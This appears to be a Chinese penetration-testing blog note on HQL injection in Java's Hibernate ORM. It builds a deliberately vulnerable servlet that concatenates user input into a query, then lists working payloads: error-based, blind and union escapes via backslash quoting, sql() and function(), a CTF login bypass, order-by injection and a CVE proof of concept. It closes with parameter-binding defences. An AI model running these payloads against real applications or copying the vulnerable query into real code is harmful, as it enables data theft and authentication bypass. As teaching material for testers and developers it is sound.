Hibernate框架HQL注入笔记

Xavier 收录于 Pentest

2025-03-12 约 5900 字预计阅读 12 分钟 - 次阅读

Hibernate框架

Hibernate是一种ORM框架，用来映射与tables相关的类定义（代码），并包含一些高级特性，包括缓存以及继承，通常在 Java与.NET中使用（可参考 NHibernate），但在Java生态系统中更受欢迎。

内部支持使用原生SQL还有HQL语言进行SQL操作。

通常使用Hibernate框架都是使用HQL语言方式进行查询

1、原生SQL语句

1
2
3


String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema=?");
query.setParameter(1, parameter);

在Hibernate 5.2.5.Final 版本中createSQLQuery被弃用了

2、HQL语句

HQL语法

1
2
3
4
5
6


# 注意这里查询的都是JAVA类对象
select "对象.属性名"
from "对象名"
where "条件"
group by "对象.属性名" having "分组条件"
order by "对象.属性名"

HQL需要将数据库中的表映射为相应的类，通过JAVA类对象进行数据查询，示例如下：。

1
2
3


String parameter = req.getParameter("name");
Query query = session.createQuery("from User where name = ?1", User.class);
query.setParameter(1, parameter);

其中User就是数据库表的映射实现类对象

HQL查询是由 hibernate 引擎对查询进行解析并解释，然后将其转换为SQL。

参数类型支持3种，上面用的就是叙述参数，第三种基本不用。

Parameter type 参数类型	Examples 例子	Usage from Java Java用法
命名参数	`:name`, `:title`, `:id` `:name`，`:title`，`:id`	`query.setParameter("name", name)`
序数参数	`?1`, `?2`, `?3` `?1`，`?2`，`?3`	`query.setParameter(1, name)`
JDBC样式参数	`?`	`query.setParameter(1, name)`

?形式的JDBC样式参数类似于序数参数，其中索引是从查询文本中的位置推断出来的。不推荐使用JDBC样式参数。

3、基础示例代码

示例数据库：

1
2
3
4
5
6
7


mysql> select * from users;
+------+------+------------------+
| id   | name | email            |
+------+------+------------------+
|    1 | test | test@example.com |
+------+------+------------------+
1 row in set (0.01 sec)

1）新建Maven项目

打开IDE，选择新建Maven项目。

在pom.xml中添加Hibernate和数据库驱动的依赖：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


<dependencies>  
    <!-- Hibernate Core -->  
    <dependency>  
        <groupId>org.hibernate</groupId>  
        <artifactId>hibernate-core</artifactId>  
        <version>5.6.15.Final</version>  
    </dependency>  
    <!-- MySQL Connector -->  
    <dependency>  
        <groupId>mysql</groupId>  
        <artifactId>mysql-connector-java</artifactId>  
        <version>8.0.33</version>  
    </dependency>  
</dependencies>  

2）配置Hibernate文件

hibernate配置xml文件包含与数据库连接相关的属性和映射类

在src/main/resources目录下创建hibernate.cfg.xml文件，配置数据库连接和Hibernate属性：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


<hibernate-configuration>  
    <session-factory>  
        <!-- Database connection settings -->  
        <property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>  
        <property name="hibernate.connection.url">jdbc:mysql://localhost:3306/testdb</property>  
        <property name="hibernate.connection.username">root</property>  
        <property name="hibernate.connection.password">password</property>  
        <!-- SQL dialect -->  
        <property name="hibernate.dialect">org.hibernate.dialect.MySQL8Dialect</property>  
        <!-- Echo all executed SQL to stdout -->  
        <property name="hibernate.show_sql">true</property>  
        <property name="hibernate.format_sql">true</property>
        <!-- Drop and re-create the database schema on startup -->  
        <property name="hibernate.hbm2ddl.auto">update</property>  
    </session-factory>  
</hibernate-configuration>  

确保数据库testdb已创建，用户名密码配置正确。

启用hibernate.show_sql可以查看经过HQL引擎处理后生成的SQL语句，启用hibernate.format_sql可以使输出的SQL语句更可读。

在这个配置文件中，还可以显式声明实体类，写法为：

1

<mapping class="com.example.User"/>

3）创建模型类

创建一个Java类作为模型类，将数据库表映射为相关的类。

新建了一个User类，对应users表，声明其中相对应的列名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


import javax.persistence.*;

@Entity
@Table(name = "users")
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private int id;

    @Column(name = "name")
    private String name;

    @Column(name = "email")
    private String email;

    // Getter and Setter for id
    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    // Getter and Setter for name
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    // Getter and Setter for email
    public String getEmail() {
        return email;
    }

    public void setEmail(String email) {
        this.email = email;
    }

    // Optional: Override toString() for better logging
    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", email='" + email + '\'' +
                '}';
    }
}

使用注解将类映射到数据库表。

4）SessionFactory类

创建工具类HibernateUtil以管理Session：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


import org.hibernate.SessionFactory;  
import org.hibernate.cfg.Configuration;  

public class HibernateUtil {  
    private static final SessionFactory sessionFactory = buildSessionFactory();  

    private static SessionFactory buildSessionFactory() {  
        try {  
            return new Configuration().configure().buildSessionFactory();  
        } catch (Throwable ex) {  
            throw new ExceptionInInitializerError(ex);  
        }  
    }  

    public static SessionFactory getSessionFactory() {  
        return sessionFactory;  
    }  
}  

5）使用HQL查询

在Main类中编写查询代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


import org.hibernate.Session;  
import org.hibernate.query.Query;  

public class Main {  
    public static void main(String[] args) {  
        Session session = HibernateUtil.getSessionFactory().openSession();  
        session.beginTransaction();  

        // HQL查询示例  
        Query<User> query = session.createQuery("FROM User WHERE email = :email", User.class);  
        query.setParameter("email", "test@example.com");  
        User user = query.uniqueResult();  
        System.out.println("User: " + user.getName());  

        session.getTransaction().commit();  
        session.close();  
    }  
}  

上图是配置文件中没加<property name="hibernate.format_sql">true</property> 时的输出，懒得改了

4、Web示例代码

基于上述代码，将其改为Web服务

文件目录：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


src/main/
  ├── java/
  │     └── com/example/
  │           ├── User.java
  │           ├── HibernateUtil.java
  │           └── UserServlet.java
  ├── resources/
  │     └── hibernate.cfg.xml
  └── webapp/
        └── WEB-INF/
              └── web.xml

UserServlet类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

import org.hibernate.Session;
import org.hibernate.query.Query;

@WebServlet("/user")
public class UserServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/plain");
        PrintWriter out = resp.getWriter();

        String parameter = req.getParameter("name");

        if (parameter == null || parameter.isEmpty()) {
            out.println("Error: 'name' parameter is required.");
            return;
        }

        Session session = HibernateUtil.getSessionFactory().openSession();
        session.beginTransaction();

        try {
            out.print("Hibernate Version: 5.6.15.Final\n\n");
//            Query<User> query = session.createQuery("FROM User WHERE name = :parameter", User.class);
//            query.setParameter("name", parameter);
            Query<User> query = session.createQuery("from User where name='"+ parameter +"'", User.class);

            User user = query.uniqueResult();
            if (user != null) {
                out.println("com.example.User found: " + user.getName() + ", Email: " + user.getEmail());
            } else {
                out.println("No user found with name: " + parameter);
            }

            session.getTransaction().commit();
//        } catch (Exception e) {
//            if (session.getTransaction() != null) {
//                session.getTransaction().rollback();
//            }
//            out.println("Error: " + e.getMessage());
        } finally {
            session.close();
        }
    }
}

注意在测试报错注入时，建议把 catch 部分代码注释。

user类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


package com.example;

import javax.persistence.*;

@Entity
@Table(name = "users")
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private int id;

    @Column(name = "name")
    private String name;

    @Column(name = "email")
    private String email;

    // Getters and Setters
    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getEmail() {
        return email;
    }

    public void setEmail(String email) {
        this.email = email;
    }
}

HibernateUtil类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


package com.example;

import org.hibernate.SessionFactory;
import org.hibernate.cfg.Configuration;

public class HibernateUtil {
    private static final SessionFactory sessionFactory = buildSessionFactory();

    private static SessionFactory buildSessionFactory() {
        try {
            return new Configuration().configure().buildSessionFactory();
        } catch (Throwable ex) {
            throw new ExceptionInInitializerError(ex);
        }
    }

    public static SessionFactory getSessionFactory() {
        return sessionFactory;
    }
}

hibernate.cfg.xml配置文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<hibernate-configuration>
    <session-factory>
        <!-- Database connection settings -->
        <property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
        <property name="hibernate.connection.url">jdbc:mysql://localhost:3306/test</property>
        <property name="hibernate.connection.username">root</property>
        <property name="hibernate.connection.password">password</property>
        <!-- SQL dialect -->
        <property name="hibernate.dialect">org.hibernate.dialect.MySQL8Dialect</property>
        <!-- Echo all executed SQL to stdout -->
        <property name="hibernate.show_sql">true</property>
        <property name="hibernate.format_sql">true</property>
        <!-- Drop and re-create the database schema on startup -->
        <property name="hibernate.hbm2ddl.auto">update</property>

        <!-- 显式声明实体类 -->
        <mapping class="com.example.User"/>
    </session-factory>
</hibernate-configuration>

web.xml

1
2
3
4
5
6


<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">
</web-app>

pom.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>HQL_Test</artifactId>
  <version>1.0-SNAPSHOT</version>
  <name>Archetype - HQL_Test</name>
  <url>http://maven.apache.org</url>
  <packaging>war</packaging>

  <dependencies>
    <!-- Hibernate Core -->
    <dependency>
      <groupId>org.hibernate</groupId>
      <artifactId>hibernate-core</artifactId>
      <version>5.6.15.Final</version>
    </dependency>
    <!-- MySQL Connector -->
    <dependency>
      <groupId>mysql</groupId>
      <artifactId>mysql-connector-java</artifactId>
      <version>8.0.33</version>
    </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>4.0.1</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
</project>

HQL语句注入

HQL注入就是利用Hibernate框架产生的注入点，Hibernate 中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。

按照查询方式不同也分为两种注入：原生SQL语句注入和 HQL语句注入

原生SQL语句注入

1
2


String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema='"+parameter+"'");

这种因为使用的数据库原生的语句，使用对应数据库SQL语句进行拼接注入即可，无任何限制，这里不做讨论。

在Hibernate 5.2.5.Final 版本中createSQLQuery被弃用了

HQL语句注入

1
2


String parameter = req.getParameter("name");
Query<User> query = session.createQuery("from User where name='"+ parameter +"'", User.class);

HQL语句执行逻辑：

Hibernate框架首先会去解析createQuery()函数中语句是否符合HQL语法，不符合则会触发HQL语法错误；
符合HQL语法后，HQL框架引擎会将其解析成对应数据库的原生SQL语句；
将原生SQL语句去数据库中进行查询获取结果，此时原生SQL语句如果不正确则会导致数据库层面的报错（不同数据库则是不同的报错了）

图中上面是HQL语法的语句、下面则是HQL引擎转换的mysql数据库的SQL语句。

因此上述过程会有两种错误消息来源，一种来自hibernate引擎，一种来自后端数据库。

判断注入点

可以通过插入特殊字符方式，尝试触发上述两种报错。

1
2
3


'
()
特殊字符/Unicode

如果出现 org.hibernate.exception 报错，则后端使用了 hibernate 框架。

HQL注入

HQL基础注入

基础注入方式就是猜测表名、列名去查询数据，这部分主要依靠字典的能力

1、如果有报错信息的话，那就根据报错回显去看表名、列名，根据表名进行盲注或报错注入查询数据。或者根据回显去猜测可能存在的表名和列名，然后进行查询数据

2、如果没有报错信息的话

使用and或or进行列名的枚举

1

?name=mysql' or xxxxx = '1

使用子查询进行表名枚举

1

?name=mysql'or+(select+1+from+XXXX+where+1=2)='1

主要还是拼的字典的好坏。

HQL注入限制

HQL注入的一大挑战是注入模式非常有限，其没有联合语句，没有函数来创建简单延迟，没有系统函数，没有可用的元数据表等。

Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

用具体案例看一下

1、正常查询

1

?name=test

union限制

union查询在5.6.15版本及其之前不支持

1

name=test' union select 1,2,'3   #报错

6.x版本开始支持union查询，但是也只能利用HQL语法

1

name=mysql' union from User where '1'='1

注释限制

多行注释/**/，在5.6.15版本之前不支持，在6.0.1开始支持多行注释

1

?name=test'+and/**/'1'='1				#5.6.15报错

不能使用单行注释#或+--+

1
2


?name=test'+and+'1'='1'+--+       #报错
?name=test'+and+'1'='1'%23        #报错

子查询限制

可以使用子查询，但必须是HQL已经映射的表和字段

1

?name=test' and (select name from User where id=1)='test

未映射的表不能查询

1

name=test' and (select id from test1 where id=1)='1        #报错

未映射的字段名不能查询

1

name=test' and (select newname from User where id=1)='1     #报错

映射后表名、列名大小写敏感，也会报错

通配符*限制

不支持*查询

1

?name=test' and (select * from User where id=1)='1

HQL注入进阶

因为HQL框架不管你HQL语句是什么，最终还是要转为SQL语句在数据库中进行查询的。

下面主要以MYSQL数据库进行研究，当然不同版本HQL逃逸方式是不同的。

数据库函数

Hibernate会在 SELECT 和 WHERE 语句中隐藏一些不可识别的列名，对函数也一样。

1、在 5.6.15之前，WHERE子句中是可以使用用户自定义函数的，这就说明数据库本身的函数也是可以使用的

调用数据库函数的标准过程是事先注册函数映射（HQL->SQL）（Java代码），但攻击者不需要关心兼容性。

1
2
3
4


updatexml()
version()
user()
database()

1

?name=test' and updatexml(1,concat('~',version(),'~'),1)='1

这块报错把代码中的 catch部分代码注释后才会显示。

单引号转义

低于5.x版本逃逸

在5.6.15版本之前，存在着对HQL与SQL单引号转义的差异导致的逃逸问题

在HQL语言，字符串和常规SQL语句一样都是使用单引号包裹

1

from User where name = 'test'

引擎是不会对字符串里面的内容进行解析的，当在字符串中加入一个转义字符

1

from Tables where name = 'test\'

HQL引擎是不识别转义字符\的，它会将test\作为一个字符串整体，原封不动的转为mysql语句

此处就导致了一个差异，mysql是识别转译字符的，所以爆了语法错误

然后利用这个差异，构造一个HQL以为是字符串，但转为mysql变成语句的POC即可

1

test\''and 1=2 union select 1,user(),version()#

拼接HQL语句，此时HQL引擎会将其视为一整个字符串，所以引擎不去解析

1

from User where name = 'test\''and 1=2 union select 1,user(),version()#'

最后转为SQL语句，逃逸成功执行union语句

从6.0.1.Final版本开始，测试发现转义符\失效

1
2
3
4


'mysql\a'  =>  'mysql\\a'
'mysql\'   =>  'mysql\\'
'mysql\''  =>  'mysql'''
'mysql\''' =>  'mysql'''''

从6.1.7.Final版本开始又有了变化

1
2
3
4
5


'mysql\a'  =>  'mysql\\a'
'mysql\'   =>  'mysql\\'
'mysql\''  =>  'mysql\\''
'mysql\''' =>  'mysql\\'''
'mysql\\'  =>  'mysql\\\\'

所以无法使用此方式逃逸了

sql()

这部分我没进行验证，没有记录

高于6.x 版本逃逸

在6.x版本中发现新增了一个sql()函数，在5.x版本是不支持的

https://docs.jboss.org/hibernate/orm/6.0/userguide/html_single/Hibernate_User_Guide.html#hql-function-sql

意思就是可以执行SQL语句，主要是两种方式

1
2


sql('select 1,2,3')
sql('select 1,2,?','3')

1、第一种是将函数里面的字符串直接拼接SQL语句中，然后去执行

2、第二种就是将后面参数预编译替换占位符?，然后再拼接到SQL语句中执行

既然是以字符串拼接的方式进行解析，那就能构造出poc进行利用

1

?name=mysql' and sql('1=2 union select table_name,table_schema from information_schema.tables#')='1

下面是最终解析完的sql语句，成功逃逸

function()

Hibernate框架同时支持JPQL语言和HQL语言的，可利用JPQL语言的function()函数进行注入

https://docs.jboss.org/hibernate/orm/5.6/userguide/html_single/Hibernate_User_Guide.html#hql-user-defined-functions-where-clause

function()函数是用来调用自定义函数或数据库自带函数的，和某些动态函数调用差不多吧

1
2
3
4


function('version') => version()
function('updatexml',1,1,1) => updatexml(1,1,1)
function('aaaa''bbbb',1,1,1) => aaaa''bbbb(1,1,1) 5.x版本
function('aaaa''bbbb',1,1,1) => aaaa'bbbb(1,1,1)  6.x版本

第一参数作为函数名，随后拼接一个括号，后面的参数则是括号里的内容

而function()函数的利用和sql()函数一样，是直接拼接在解析后的SQL语句中的，而且第一参数的内容没有任何限制

这样就可以构造一个可利用POC了

1

?name=test' and function('1=2 union select 1,table_name,table_schema from information_schema.tables#')='

这里注意function函数会在后面添加一对括号，可以使用单行注释进行注释

通过function()方法，可以对任意表进行读取。

报错注入：

1

name=test' and FUNCTION('updatexml',1,concat('~',user(),'~'),1)=

HQL注入防御

HQL参数名称绑定

防御sql注入最好的办法就是预编译

1
2
3


Query query=session.createQuery(“from User user where user.name=:customername and user:customerage=:age ”); 
query.setString(“customername”,name); 
query.setInteger(“customerage”,age); 

HQL参数位置邦定：

1
2
3


Query query=session.createQuery(“from User user where user.name=? and user.age =? ”); 
query.setString(0,name); 
query.setInteger(1,age); 

setParameter()

1
2
3


String hql=”from User user where user.name=:customername ”; 
Query query=session.createQuery(hql); 
query.setParameter(“customername”,name,Hibernate.STRING); 

setProperties()方法：

setProperties()方法将命名参数与一个对象的属性值绑定在一起

1
2
3
4
5


Customer customer=new Customer(); 
customer.setName(“pansl”); 
customer.setAge(80); 
Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”); 
query.setProperties(customer); 

setProperties()方法会自动将customer对象实例的属性值匹配到命名参数上，但是要求命名参数名称必须要与实体对象相应的属性同名。

案例1-登录绕过

where语句注入

SCTF2018 : Zhuanxv这道题中

反编译后class看到hql语句

前面审计出条件：用户名过滤空格与等号所以注入语句用换行符 %0a

payload:

1

admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1

拼接后的语句：

1

from User where name = 'admin' or '1'>'0' or name like 'admin&user.password=1' and password = 'password'

实现登录绕过

like语句注入

还有一种是like语句百分号里注入大同小异:

1

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

Payload : userInput 为 ' or 1=1 or ''='

列出所有条目

1

from Bookwhere title like '%' or 1=1 or ''='%' and published = true

爆出隐藏的列:

1
2


from Bookwhere title like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true
from Bookwhere title like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true

列出所有的列

利用返回错误异常消息列名不是Hibernate中实体定义的一部分，则其会触发异常

1

from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true

触发异常：

1
2


org.hibernate.exception.SQLGrammarException:
 Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

通过该异常，可以看到Hibernate查询的列表名。

盲注

如果查询不用的表，镶嵌使用子查询。

例如，以下查询会从表中选择一条与“User”实体关联的项

1

from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true

之后就可以按常规的盲注模式进行盲注了。

非盲注

1

from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true

Hibernate 将异常消息返回：

1
2


Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; 
SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

利用数据库函数

如：若数据库支持group_concat函数：

1

from Bookwhere title like '%11'    and (select cast(group_concat(password) as string) from User)=1    or ''='%'    and published = true

则异常触发为：

1

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

案例2-orderby

ORM HQL Injection

1
2
3
4
5


/view?sort=createdAt,date   # 正常
/view?sort=createdAt,() 		# hql 报错
# Order by位置，注入点在联合查询的中间，需要平衡

/view?sort=createdAt,FUNCTION(CURRENT_INSTANT) 

CVE-2024-49203: Querydsl HQL orderby注入

1
2


# poc: https://github.com/CSIRTTrizna/CVE-2024-49203/
orderBy=name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id